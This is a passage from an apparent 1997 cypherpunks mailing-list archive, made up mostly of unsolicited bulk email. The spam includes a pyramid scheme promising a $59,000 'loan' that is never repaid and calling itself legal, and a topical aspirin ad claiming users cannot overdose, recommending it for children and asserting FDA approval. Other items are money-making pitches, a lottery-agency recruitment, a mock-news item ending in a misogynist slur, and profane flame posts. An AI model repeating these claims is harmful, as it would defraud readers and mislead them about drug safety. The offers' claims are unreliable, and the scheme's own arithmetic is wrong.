avoiding the use of Black English, or Ebonics.
 
Speaking at a news conference today, Meredith told reporters that
Black males could never be intellectual giants unless they learned
proper English.
 
Meredith promised that after attending his new Mississippi Meredith
Institute's weekend classes, the Black male would be "as comfortable
in the library as he is on the basketball court."
 
The Meredith Institute would not be open to girls or women, Meredith
explained, although they may sit in on classes if they pay a $50 fee.
He explained that Black women would still prevail in the Black family,
because, "She's not going to let the boy get ahead of her."
 
Meredith's first school, the Library Scool for Black Boys and Men in
Jackson, Mississippi, is scheduled to open in January.  A second
school will open in February in San Diego.
 
No Ho's or Bitches need apply.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Maciek P." <maci@engsoc.carleton.ca>
Date: Fri, 21 Aug 1998 21:28:25 +0800
To: <cypherpunks@cyberpass.net>
Subject: remove
Message-ID: <01bcddc0$ed170760$293cd3cd@mpaszkiechat>
MIME-Version: 1.0
Content-Type: text/plain




REMOVE


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: success@nowhere.com
Date: Wed, 1 Oct 1997 02:23:38 -0700 (PDT)
To: success@nowhere.com
Subject: $6,000 In 10 Days! Month End Special
Message-ID: <199702170025.GAA08056@nowhere.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mb5@eom.net
Date: Wed, 1 Oct 1997 01:08:46 -0700 (PDT)
To: relay@worldcom.ch
Subject: ....
Message-ID: <2384358439fr33474@mail.net>
MIME-Version: 1.0
Content-Type: text/plain


Do you need to drive more business
to your website immediately?

We can generate traffic to your website.

Boost your on-line business!


Reply today and ask about SPECIAL RATES 
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Subject:  Boost Traffic






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CypherPunks Mail Daemon <cpmd@dev.null>
Date: Wed, 1 Oct 1997 16:50:16 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Please Remove
In-Reply-To: <19971001212226535.AAA164@TECH01.wl.net>
Message-ID: <3432C2DA.AB4@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


contest wrote:
> 
> Please remove setzer@wl.net from this mailing list

Dear CypherPunks mailing list subscriber:
 Your request has been received and duly noted.
 In order to complete the unsbiviving process, please reply to
this auto-genitalia'd message, putting the secret subscription
code number you received upon subrivibing in the Subject header,
and sign the message with the official CypherPunks mailing list
PGP-signature that you were assigned.

  If you have lost your secret code number and your CypherPunks
mailing list PGP-signature, then you are a lifetime member of
the mailing list.
  As of October 1, 1997, the CypherPunks mailing list will be
instituting a $200.00/month charge for subscriptions to the list.
Please do not be late with your payment, or we will be forced to
ruin your credit rating.

A. Hoir
Chief CypherPunks Spokesperson
-----Begin PGP Signature-----
Version 7.3

uuhhh... 8v

-----End PGP Signature-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Global Web Builders <gwb@gwb.com.au>
Date: Wed, 1 Oct 1997 17:38:49 -0700 (PDT)
To: (Recipient list suppressed)
Subject: Pauline hanson's One Nation Newsletter
Message-ID: <1.5.4.16.19971002102420.2967cf3e@mail.pronet.net.au>
MIME-Version: 1.0
Content-Type: text/plain


Pauline Hanson's Monthly electronic newsletter:

October 1997
Issue: 1.3
nsw

There are several issues that we would like to cover this month. They are
all very important and need your support to create the momentum we need to
address the wrongs that are currently taking place in Australia.
___________________________

1) Petition to the Prime Minister:

Firstly please take a moment to sign the on-line petition to the Prime
Minister's office demanding that he not be pressured into putting One Nation
last on the How to Vote cards at the next Federal Election:

The petition is at:
http://www.gwb.com.au/petition.html
___________________________

2) The Canadian experience - Canada is now being divvyed up into independent
states. Pauline Hanson's press release at:
http://www.gwb.com.au/onenation/press/011097.html
looks at the implications to you.

The architect of Canada's break up is now living in Brisbane and advising
the Aboriginal Central Land Council on how to go about divvying Australia up
into a number of Aboriginal States financed by the Australian Federal
Government!
___________________________

D O N A T I O N S   P L E A S E......

3) One Nation is growing (we now have nearly 200 branch offices established)
and we need you to put your hand in your pocket to keep this growth on course.

We have established a web site called 'Take a byte for Australia'. 

http://www.gwb.com.au/pledge.html

We aim to raise $100,000 through the Internet during this financial year. We
know that this is a big ask but if you believe that the on-line service
provides value and if you would like to help One Nation please 'Take YOUR
byte for Australia now'.

A gauge will display how well we are going towards achieving this target of
on-line donations to One Nation.

You can print out a donation form and send it to Pauline Hanson's One Nation
head office in Sydney.

Donations of up to $100 are fully tax deductable.
___________________________

4) Important Internet addresses:

Pauline Hanson's One Nation:
http://www.gwb.com.au/onenation

Pauline Hanson's One Nation press releases:
http://www.gwb.com.au/onenation/press/press.html

The Hanson Phenomenon:
http://www.gwb.com.au/hanson.html

Archive of One Nation launch and branch launches:
http://www.gwb.com.au/gwb/onenation
____________________________

Thank you for your support.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 53199432@hotmail.com
Date: Thu, 2 Oct 1997 23:00:10 -0700 (PDT)
To: you@aol.com
Subject: Upgrade to first class - nearly every time you fly...
Message-ID: <199876432.GAA98685498@aol.com>
MIME-Version: 1.0
Content-Type: text/plain


To respond to this message, DO NOT HIT REPLY! (nothing will happen)
Rather,  use the link at the end of the message. 

***********************************************************

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end


















































END





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 72384400@13117.com
Date: Thu, 2 Oct 1997 14:49:05 -0700 (PDT)
To: noreply@aol.com
Subject: Stop Dreaming & Start Making Money!
Message-ID: <893789370989.HON98237@aol.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The.Global.Lotto.Agency@news.NetVision.net.il
Date: Thu, 2 Oct 1997 07:00:17 -0700 (PDT)
To: Invitation@news.NetVision.net.il
Subject: Work from home
Message-ID: <199710021359.PAA16988@news.NetVision.net.il>
MIME-Version: 1.0
Content-Type: text/plain


The Global Lottorie Agency
-------------------------------------------

You can make extra income,with global lotto agency.

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sale lottorie ticket's all over the globe,earn comissions
on sales and members referals.The Global Agency is
binded and supervised by the german goverment.

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to your mail box,evry month like a clock.No experience is
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is no limit of how much you can earn.

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for contact rafibeny@netvision.net.il

The Global Lotto Agency
rafi ben
Executive Sales Mnager
TEL 972-536-1902 
FAX 972-536-1204
givat hadar suite 2345
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: search10@earthlink.net
Date: Thu, 2 Oct 1997 18:52:25 -0700 (PDT)
To: search10@earthlink.net
Subject: Your Listing on Yahoo
Message-ID: <199710030150.SAA19789@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi:  This email is in  reference to YOUR LISTING ON YAHOO!  

If you are interested in placing your web site in the TOP TEN on the major
search engines, please read on.

(If not, please disregard this email and accept our apology for any
intrusion.) reply with remove in the subject.

For those of you who are interested, please read on!

(Ed. note: Yahoo asked that we mention that our group and Yahoo are not
affiliated --they probably wouldn't let us publish this if we were affiliated).
____________________________________________________________


                      SEARCH ENGINE SECRETS
                        

                 HOW YOU CAN GET YOUR SITE CONSISTENTLY 
                          IN THE TOP 10
                      ON MAJOR SEARCH ENGINES
                (and watch your hit count skyrocket)

                                             
                 http://www.leedspublishing.com/SES5/



As you probably noticed with the listing of your site on the search engines,
it is becoming more and more difficult to be found among the MILLIONS of
listings.  

If you"re like the rest of us you have found it extremely frustrating. You
spend lots of time and money developing your site and then you're listed
number 30, or 80, or even 200th.  You're NEVER FOUND.


                    ***************************
                            GOOD NEWS


The good news is we have found a SOLUTION. After months of fighting the
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A programmer recently became associated with our firm who had done some
CONSULTING WORK for six months with one of the major search engines. With
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really work.
 

                   *****************************
REPORT 

His report is excellent. We have been using the material in the report for
over five months. IT WORKS!  With it, our sites are in the top TEN listings
on all major search engines and we have experienced a virtual stampede of
people to the web sites.  

                     
HITS ARE UP, SALES ARE UP, and most importantly, everyone is HAPPY.

>
>                    ***************************
                            YOUR COPY
>
>
Now, YOU CAN HAVE A COPY of his report.  In it you will find:
>
>
>
>          How to vault in the TOP TEN  on any search engine using any
keyword. Strategies that put you ahead of 95% of the other sites online.

           How to STAY in that TOP TEN.

           How to improve your chances of being found in about 10 MINUTES.
>
>          How the search engines calculate CONFIDENCE ratings (and what
that means to you).  
>
>          Killer META TAGS that totally blow away your competitors.
>
>          Which search engines are the very BEST FOR YOU.
>
>          How to get your site REGISTERED for FREE at over 200 locations,
in one easy step (it takes 10 minutes).
>
>          How to BLOCK out part of your site from the search engines (and
why you should do it).
>
>          The effect of REPEATING KEY WORDS. (good or bad?) What happens
when you repeat them too many times?
>
>         LATEST FORMS for developing the best meta tags. Meta Tag
strategies that can broaden your audience and build high volume web traffic
for you.  

We tell you exactly what to do and show you SPECIFIC EXAMPLES.  And it's
SIMPLE and EASY to understand.  So you can put the principles to immediate use.
>
>          The benefits of site UPDATING.  How often?

           What NOT to do! Avoid making those errors which can cost you.
>
>
>                         and even
>
>          How to legally "steal" your competitor's web traffic and send it
to your site. Type in your competitor's name and YOUR NAME will appear FIRST! 
>
>
>                    ***************************
>                  
>                        WHAT DOES IT COST?
>
>

The material is only $19.95, and is unconditionally guaranteed to work for you.

Just follow the instructions and you will find your site in the top ten too.

Ordering is SAFE and EASY. For more information, or to RECEIVE this 18 page
report by email just go to our INSTANT-DELIVERY SECURE order form at:


            http://www.leedspublishing.com/SES5/

(Order on line and you will receive your report in JUST 60 SECONDS.)



Now that your site is up shouldn't you take this MOST IMPORTANT LAST STEP so
people can find it.


                  ******************************                        
                     UNCONDITIONAL GUARANTEE  


Remember, we UNCONDITIONALLY GUARANTEE IT WORKS.
  
You can't lose.


                  ********************************
                       SPECIAL FREE BONUS


Order within 48 hours, we and will include, AS A FREE BONUS, information on
over 500 SEARCH ENGINES and directories where you can list your site for
free. (Some are very specialized and targeted).


SPECIAL NOTE: If you are busy and don't have time to go to our web site
INSTANT-DELIVERY SECURE ORDER FORM, you can order by FAX. (The unconditional
guarantee still applies!) 


Just fill in the FAX FORM AT THE BOTTOM OF THIS PAGE.  Then FAX it to us at:
>
>                            1-305-289-1884
>

If you order by FAX your copy of the report will be sent to you by email
within 24 hrs. Or, if you prefer, you can send your order with a CHECK by
snail mail to the address below. (Be sure to include your email address for
delivery.)


Whichever method you choose to order, YOU'LL BE GLAD YOU DID!

 Best of luck with your web site!




Leeds Publishing
5800 Overseas Hwy., St. 35-154
Marathon Key, Fl.  33050
Fax 305-289-1884
http://www.leedspublishing.com/SES5/

________________________________________________________________________
                            
>________________________________________________________________________

>                                  FAX ORDER FORM
>                              (Please print clearly)
>
>FAX TO: Leeds Publishing
>
>FAX NUMBER: 1-305-289-1884

Hi:  Here is my order for Search Engine Secrets at $19.95 only. I understand
it is unconditionally guaranteed. Include my FREE BONUS of 500 search
engines.  Send by email ASAP.

Date:__________________
>
NAME:_______________________________________________
>
E-MAIL
ADDRESS:______________________________________________________________
(PLEASE be accurate.  One small error and we can't send your order).
>
>CARD TYPE:_________________
>
>CARD NUMBER:_________________________________________________
>
>EXPIRATION DATE:______________
>
>NAME ON CARD:________________________________________________
>
>
>Thanks for ordering.  Your copy of the report will be sent to you by email
ASAP.
>
>____________________________________________________________
>____________________________________________________________
>
>
>Copyright 1997 Leeds and Rousseau Publishing.  All rights reserved.
Form 102 GD-Yahoo
>












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 5 Oct 1997 10:49:00 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Jes' Fishin' / Re: Stronghold (fwd)
Message-ID: <954f3b10a95df46153eb5f91d4dbeeda@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> > Date: Sun, 5 Oct 1997 18:46:14 +0200 (MET DST)
> > Subject: Re: Stronghold
> > From: nobody@REPLAY.COM (Anonymous)
> 
> > It is becoming increasingly obvious that John Young is the real
> > troublemaker here. I wouldn't doubt that it was John who was
> > behind the original troubles between Vulis and Sameer.
> > I think that John Young should be forcefully unsubscribed from
> > the Cypherpunks mailing lists.
> 
> You sir are an unmittigated ass and more than a tad immature and selfish.

I was just trolling on a sunny Sunday afternoon, not really caring
if I caught anything.
However, Jim is too small-minded, so I think I'm going to have to
throw him back.

Jes' Fishin'






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 5 Oct 1997 11:30:27 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Stronghold
Message-ID: <1.5.4.32.19971005182201.00866268@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri007 wrote:

>It is becoming increasingly obvious that John Young is the real
>troublemaker here. I wouldn't doubt that it was John who was
>behind the original troubles between Vulis and Sameer.
>I think that John Young should be forcefully unsubscribed from
>the Cypherpunks mailing lists. 

Heh, do me! Forcefully unsubscribed means *plonk* -- not seen 
much lately but once frequently wanked here.

Troublemaking is the very essence of this cypherjerk joint, no?

Does anyone but me remember that the whole Vulis, moderation,
censorship, Stronghold shit started with Tim dissing Dimitri by mocking 
the [spit] locution (or that's when I first paid attention to the thread --
Tim's
and Dimitri's rude humor slurs are their best shots). 

Dimitri then getting pissed at the dis (or faking it), then counter-assaulting 
Tim with multiple personalities, then both master peronnae-fakers going at 
each other through clones, acolytes and yes-bossers to capture 
the other's reputation capital, both operatically yodelling innocence 
unfairly ravaged, both raging with highest of principles at the accusations 
of come-fuck-me-darling lowest-level behavior.

Anonymic and pseudonymic chaff flooded in and jammed the putative
brilliant list signal. Seeing an opening for righteous evangelism, other 
high-minder fakirs intervened to protect the list's pristine virtue with 
prophylatic measures, which leaked, were malfitting, or were rejected 
by all-natural studs and mares lusting for unmediated self-abuse.

Whores spitting at whores, male and female and crossovers it was, and is.
Recall these periodic pitbull fights instigated with Tim by those foolish 
to challenge him, those who think there are limits to all-natural sex.

Great liars, the Net's multiple personna double-cross-addressers .

Whose willing to bet that Tim and Dimitri, their adherents, are not in bed 
with, may even be the same as, the Totos, the Mongershitters, the who?

None of this compares to meisterwerk slurring which heavenly rents 
this forum.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: linia32@earthlink.net
Date: Sun, 5 Oct 1997 23:56:01 -0700 (PDT)
To: linia32@earthlink.net
Subject: New Topical Pain Reliever for Arthritis, Burns, etc.
Message-ID: <199710053176IAA25684@KDASASDD434___%$%FFSD.tm.net.my>
MIME-Version: 1.0
Content-Type: text/plain



Sorry for the intrusion.  You won't get another message like this one.
If you're not interested in our offer, we apologize for the inconvenience.
==========================================================

 L'APRINA IS A LIQUEFIED TOPICAL ASPIRIN.

SPRAY IT ON WHERE IT HURTS!

IT REALLY WORKS!

SUPERIOR PAIN RELIEF
IN MINUTES FROM A REVOLUTIONARY 
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DIGESTIVE SYSTEM AND HAS
NO ADVERSE SIDE EFFECTS


A PROVEN  ANALGESIC AND ANTI-INFLAMMATORY  with  Aloe Vera

                        REVOLUTIONARY PAIN RELIEF

Do you suffer with aches and pains from headaches, sports injuries, 
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Everybody knows there are lots of drugs and other products out there
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Before L'APRINA  the  adverse side effects from internal pain
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                     EASY AND FAST RELIEF
L'APRINA is easy to apply with either its roll-on, squeeze or spray 
applicator. We recommend the painful area be doused liberally, 
then gently massaged until dry. This procedure should be repeated 
two or three times, depending on how sever the pain is. 
Do not worry about over use - you can't overdose with L'APRINA.

L'APRINA begins to relieve even the worst discomfort in minutes. 
You should begin to experience almost immediate relief after using 
L'APRINA and its analgesic action normally last six hours, and 
often longer. In addition, when used daily, L'APRINA often has a 
powerful cumulative effect, which allows many people to use less 
L'APRINA, less often, for continued pain relief. 

New uses for L'APRINA are being discovered everyday. In addition 
to the severe pain discomfort from broken bones, shingles, burns, 
migraine headaches, and the like L'APRINA is great for those 
discomforts people experience from sunburn, insect bites and 
strained muscles, just to name a few.

Keep a bottle in your office, home and car at all times. 
The compact roll-on bottle is perfect for purses and briefcases. 
Be sure to use L'APRINA on your children for those cuts, scrapes 
and bruises all children seem to get, L'APRINA IS SAFER and HEALTHER 
than any oral pain medication you can buy. 

         WE ARE ACCEPTING APPLICATIONS FOR DEALERSHIPS.
    JIMMIE A. MARTIN, ID#353854976 WILL BE PLEASED TO SPONSOR YOU.
  
     TO GET AN APPLICATION SEND AN EMAIL TO    jimmie@freeyellow.com
or
  Call 1-800-631-9824  and  tell them you were referred by Jimmie A. Martin

   AS AN INDEPENDENT DISTRIBUTOR YOU BUY WHOLESALE AND SELL RETAIL
      AND YOU CAN ARRANGE FOR AUTOMATIC MONTHLY SHIPMENTS 
                  WITHOUT SHIPPING CHARGES.

Even if you are not interested in a dealership you may sign up as a
preferred customer and purchase L'APRINA at wholesale prices. Again, 
send an email to   jimmie@freeyellow.com   for your application.

If you prefer to just order L'APRINA by the bottle the the 
retail prices* are:
          1-ounce Squeeze Bottle $5.95 + $1.50 S&H (First Class Mail)
         2-ounce Roll-on Bottle $13.95 + $1.96 S&H (First Class Mail)
          4-ounce Spray  Bottle  $19.95  + $3.95 S&H (Priority Mail)     
* plus sales tax where applicable
Send your order vai turtle mail to the address below and make you
check payable to Jimmie A. Martin,

YES, L'APRINA IS FDA APPROVED.

Jimmie A. Martin
8749 SW 115th Street
Ocala, FL 34481-5091







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: shiatan@workline.com
Date: Mon, 6 Oct 1997 13:08:25 -0700 (PDT)
Subject: No Subject
Message-ID: <199710062008.NAA08058@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


F <shiatan@workline.com>
R <cypherpunks@toad.com> (remote destination)
X - Start
Received: by soi.hyperchat.com id 017b00 at Mon, 06 Oct 1997 13:59:36 -600 (Mountain Daylight Time)
Message-ID: <34394257.1CF8@workline.com>
Date: Mon, 06 Oct 1997 15:56:07 -0400
From: shiatan <shiatan@workline.com>
X-Mailer: Mozilla 3.01 (Win95; I)
MIME-Version: 1.0
To: cypherpunks@toad.com
Subject: Re: Zip drive security...
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I was wondering if anyone can comment on what type of encryption is used
for the passwords on zip disks..i've been seperated from the literature
that came with it, but i seem to remember reading that the actual
password info is kept in the hardware? and i was just wondering how
secure  it was (before you encrypt the information on the disk with your
own encryption methods)..

thanks..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joel@savetrees.com
Date: Mon, 6 Oct 1997 15:42:59 -0700 (PDT)
To: joel@savetrees.com
Subject: Grand Opening. 30% Off!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Our research indicates that you may be interested in this information. 
If this assumption is incorrect, please reply with "REMOVE" in the subject line. 
You will get no further mailings from us. We apologize for inconveniencing you. 

****************************************************************************
     Announcing the Grand Opening of 

                  =========================
                   HighDesert General Merchandise
                  =========================

We are striving to make this a 1-stop source for gift giving.
You'll find gifts and collectibles for every member of the family.

Hand Spun Glass, Solid Brass, Jewelry, Wood Carvings, Crystal, Tools, Luggage 
Christmas collectibles, Doll House Miniatures, Toys and much more! 
We plan to add over 4000 items soon! 

All at unbelievable prices.

To celebrate our Grand Opening, we've marked down prices by 30% throughout the store!
Be sure to also check out our Grand Opening 50% Off Specials! 

 Perfect for Xmas gift giving.

Use our Secured Shopping Cart Server to make shopping a point & click breeze.

Major credit cards accepted, as well as money orders and checks.

Visit us at Weber's Mall:

      http://webersmall.com/desert.htm

We look forward to your visit.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 99507504@32517.com ()
Date: Mon, 6 Oct 1997 22:25:54 -0700 (PDT)
To: g7un7@aol.com
Subject: "Discount Classified Newspaper ADS.....as low as $1 per paper"
Message-ID: <199218919914.fbb09046@aol.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>


UTILIZE THIS VALUABLE INFORMATION AND IT WILL PAY FOR ITSELF MANY TIMES OVER!

That tiny little ad can make you wealthy!

Have you ever bought anything from a classified ad?  If you're like most, the 
answer is yes.  

It's a fact of life, that we as a society crave the need for information. The 
tiny little classified ad can effectively and efficiently deliver the 
information to a potential customer base that is mind boggling.  

A simple classified ad can fill your mailbox with orders or make your phone 
ring off the hook with interested prospects.  

Have you ever seen the same ad running over and over again in a paper?  It's 
because it's making money.  In fact the chances are good that it's in a whole 
lot of other papers also. 

Classified ads can and have made many people very wealthy.  How do you think 
all those late night info-mercial millionaires started?


***Nationwide Newspapers V2.0 TM***

Powerful New Reference Software

-  The First of its Kind, Classified Advertising Tool!

-  Electronic Directory of over 3,600 newspapers!

-  Sources for Over 6,000 newspapers!

-  Daily, Weekly, Shoppers, Community Papers and More!

-  Find Hard to Reach People to Respond to Your Offer!

-  Advertise by City, State, Regionally, or Nationwide!

-  Statewide and Network Advertising, Including Pricing!

-  Discount Advertising Less Than $1 Per Paper!

-  Powerful Tool for Building Huge Downlines!

-  Save Time and Money with Network Advertising, 1 Call, 
   1 Payment & you're in 100's of Papers with Millions 
   of Readers, at a Big Discount Over Individual Rates!

SPECIAL FEATURE-  Built in Sort Tool Enables Sorts by State, City, 
Circulation, Phone Number & More!

Proof is in the Results! Here's just a few:

" Thank you for your 3,600+ newspaper directory! We have built a downline of 
1,800 people in 6 months & a check for over $12,000 using this directory to 
advertise! It contains the small town papers as well as the big ones so we can 
target the audience & stretch our advertising dollar. I recommend it for 
anyone in network marketing."    			
						
            	S & J Linden, Sequim, WA

" I just wanted to let you know how much your program has saved me time and 
energy, now I can place ads with ease. I think your program is simply one that 
anyone who has a  business must have, because time is money."
						
      	Andrea Hurst-Harry, Arlington, TX


There is no doubt that this information can and will be a valuable asset 
to your business. It's the perfect product, at the perfect time, at the 
perfect price.  We've seen similar information costing 100's of dollars.  
Companies charge these high fees because they know that people who understand 
the value of the information will easily pay for it. Our products are more 
advanced and we make them affordable. They say that information is power, well 
we look forward to supplying you with all the power you need for years to 
come!


Price: 

Other companies marketing half the information we offer are charging $249

 For a limited time , You pay only $59  plus shipping for this revolutionary new product.   

To Order Send to:

Strawberry Press 732.744.9633
518-7 Old Post Rd Suite 211
Edison, NJ 08817

***Please Add $6 for shipping and handling

	Name:_________________________________________

	Address:______________________________________EMail Address___________________________

	City:_____________________State:____Zip:______

	Payment Method: 
			    __CHECK __MONEY ORDER

	

     

	Total Enclosed: $_79 + 6  =$85 _____________



  


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PLEASE.READ.ME@aol.com
Date: Mon, 6 Oct 1997 23:47:34 -0700 (PDT)
To: FRIENDS@gandalf.newlink.net
Subject: LION, TIGERS, COUGARS
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


                                  Turpentine Creek Foundation, Inc.
                  Route 1 Box 209A, Eureka Springs, Arkansas 72632
                          Phone: (501) 253-5841 Fax: (501) 253-5059
                                       E-mail:tigers@ozarkweb.com
October, 1997

Dear Friend,

The reason I am writing this letter to ask for your help.  First,  I would like to
introduce myself and give you a brief history of Turpentine Creek Wildlife
Refuge, a non-profit organization.  I will try to briefly describe our accomp-
lishments and our mission for the future.

My name is Hilda Jackson.  I am the Secretary-Treasurer of Turpentine Creek 
Foundation.  By the way, when I say "WE",  I am speaking not only of myself, 
but for all the volunteer staff and our eight member board of directors.  Our 
Board consists of doctors, real estate people, a university professor, a CPA 
and a veterinarian, who have worked hard to accomplish our goals.  Our 
Chairman of the Board is Reverend John P. Minogue, C.M., who is also 
President of De Paul University of Chicago, Illinois.

The Turpentine Creek Foundation was started by me, my husband Don 
Jackson, and my daughter, Tanya Smith, in May of 1992.  Tanya is now  
President of the Foundation.  We purchased a 450-acre ranch in Eureka 
Springs,  Arkansas in the heart of the beautiful Ozark Mountains.  We brought
with us to the ranch two lions, one monkey, one white-tailed deer and one
racoon.  That was the beginning of Turpentine Creek Wildlife Refuge.  Our
goal and desires are to house all unwanted exotic big cats, such as lions,
tigers, and other exotic animals in a safe an happy environment.  To date, 
Turpentine Creek houses over 120 animals and birds.  Out of this 120 animals,
there are 90 + exotic big cats, such as lions. tiger, leopards and cougars.

We know from the experts' predictions that there are no more than 4,000 tigers
left in this world.  Without a shelter like Turpentine Creek, I am afraid that the 
beauty and the strengh of the tigers will not be a part of our children's or 
grandchildren's life except in picture books.  With everyone's help this will not 
happen.

We have continued to grow every year due to the birth of new cubs, and the 
acquisition of additional unwanted, abandoned, or abused exotic animals. We
desperately need to expand our compound, and finish the natural habitat, so the
big cats can live and roam as naturally as they would in the wild.

It takes approximately $1000 per day to house and care for the current number of
animals.  These funds are partly raised by our seasonal tourist revenue.

All construction is strictly funded by donations.  This is where we need
YOUR help.  If you can donate  $1, $5, $10, or whatever you feel in your heart you
can send, it wil be greatly appreciated.  All donations are tax deductible under 
IRS regulations section 501(c)(3).

We would like to thank you in advance for any consideration or help you
can give.  

Please come visit us and see the photo albums (especially the NEW 
ARRIVALS) at:    http://www.ozarkweb.com/tcreek/index.htm


My sincere thanks,

Hilda Jackson

Please send your kind donations to :     Turpentine Creek Wildlife Refuge
                                                             Route 1, Box 209-A
                                                             Eureka Springs, Arkansas  72632    

Credit Card Donations can be made by phone or fax (top of page) or complete
the following information and mail to the above address.

Card type:  ____ Visa  ____ MasterCard  ____ American Express  ____ Discover

Card Member's Name :_____________________________________________

Member's Address:     ______________________________________________

Card Number :            ______________________________________________

Expiration Date:          ______________________________________________

Amount of Contribution :  $ _____________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ffn@omni.net
Date: Tue, 7 Oct 1997 00:56:45 -0700 (PDT)
To: everyone@your.net
Subject: We Will Loan You $59,000 And You NEVER Have To Repay Us
Message-ID: <3336528719035@omni.net>
MIME-Version: 1.0
Content-Type: text/plain




PLEASE EXCUSE THE INTRUSION. BUT, THIS INFORMATION MAY BE OF 
GREAT INTEREST TO YOU...

How would you like to BORROW $59,000 and NEVER have to 
repay the LOAN?

If you answered YES, and who wouldn't, then I would like 
to invite you to join a very SPECIAL group of people.
The FINANCIAL FRIENDS NETWORK.

The FINANCIAL FRIENDS NETWORK is an ever expanding international
group of GENEROUS and CARING people who WILL automatically
receive $59,000 LOANS, that they NEVER have to repay. 
All of our members are hard working, family-oriented people, 
with one common goal that unites us all. We are committed 
to generating income, to provide the neccessities and the 
comforts for ourselves and our families.

Let us show you exactly how our UNIQUE, HONEST and PROFESSIONALLY
MANAGED program, automatically LOANS YOU $59,000.

HERE'S HOW IT WORKS:

Just LOAN 1 existing member $20 (which is your lifetime membership fee)
and THAT'S IT!!!    WE DO EVERTHING ELSE FOR YOU!

ALL YOU HAVE TO DO IS JOIN US TO RECEIVE YOUR $59,000 LOAN!

IT'S REALLY AMAZING HOW EASY THIS IS AND HOW BEAUTIFULLY IT WORKS!

We can assure you that this is a LEGAL and LEGITIMATE offer and
complies with US law, title 18, sections 1302 & 1341. After all,
who hasn't LOANED a FRIEND money before! And, we don't even expect
YOU to repay us.

HERE'S HOW TO JOIN:

1) Fill out the membership application at the bottom of this letter.
2) Send us your application along with $20, your lifetime membership fee.
AND THAT'S IT, WE'LL DO EVERYTHING ELSE FOR YOU!

HOW AND WHEN DO YOU RECEIVE YOUR LOAN:

ONLY the member in the #1 position RECEIVES YOUR LOAN/membership fee.
(SEE MEMBERSHIP APPLICATION) The FINANCIAL FRIENDS NETWORK will 
then remove the name of the person in the #1 position and will then add 
YOUR name and YOUR assigned number to the #5 position. The FINACIAL 
FRIENDS NETWORK will then enroll new members for you, as we are currently 
doing for an existing member, right now. Those collected membership fees 
are then forwarded to YOU, as the member in the #1 position.

THE FINANCIAL FRIENDS NETWORK WILL CONTINUOUSLY AND VIGOROUSLY 
ENROLL NEW MEMBERS UNTIL EACH EXISTING MEMBER HAS "SPONSORED" 
5 NEW MEMBERS. BY DOING THIS, NO MEMBER CAN FAIL!

THIS SERVICE ALONE IS WORTH MUCH, MUCH MORE THAN THE SMALL $20
LIFETIME MEMBERSHIP FEE!

CALCULATION OF LOAN AMOUNT:

Position 5: We enroll 5 new members for YOU -          1 X 5 = 5
Position 4: We enroll 5 new members for them -         5 X 5 = 25
Position 3: We enroll 5 new members for them -        25 X 5 = 125
Position 2: We enroll 5 new members for them -       125 X 5 = 600
Position 1: We enroll 5 new members for them -       600 X 5 = 3000

Those 3000 new members LOAN YOU $20 EACH, for a total of $60,000, 
less a $1000 loan processing fee, retained by FINANCIAL FRIENDS NETWORK.
This is how we make a profit and it enables us to continuously increase 
our membership. THAT'S ALL THERE IS TO IT!

When YOUR name reaches the #1 position, usually in 3-4 months, 
YOU will then start to receive YOUR LOAN. YOUR LOANS will be automatically 
forwarded to you on the 1st and 15th of each month, until YOU receive 
YOUR entire $59,000 LOAN. Any overages will be automatically repositioned 
to the next member on the list.
(We never know exactly how many people will respond to each 
specific mailing)

Almost EVERYBODY JOINS our exclusive network due to it's LOW, LOW 
lifetime membership fee and it's HIGH, HIGH rate of return. 
Thousands of new members are joining monthly.

There are over 150,000 new people getting on the Internet each week. 
This provides us a vast and ever expanding market to tap into.
THAT'S WHY THIS OPPORTUNITY IS SUCH A FANTASTIC SUCCESS!

Nobody could blame you if you are having some reservations about joining 
our exclusive membership offer. But PLEASE, don't let your fears and past 
disappointments keep you from allowing YOURSELF and YOUR FAMILY to 
benefit from this ONCE IN A LIFETIME OPPORTUNITY!

Financial security is the one basic need of all people. Without it, 
it's difficult to survive. IMAGINE WHAT YOU COULD DO WITH A $59,000 LOAN,
THAT YOU NEVER HAVE TO REPAY!

The FINANCIAL FRIENDS NETWORK allows ALL of it's members the opportunity
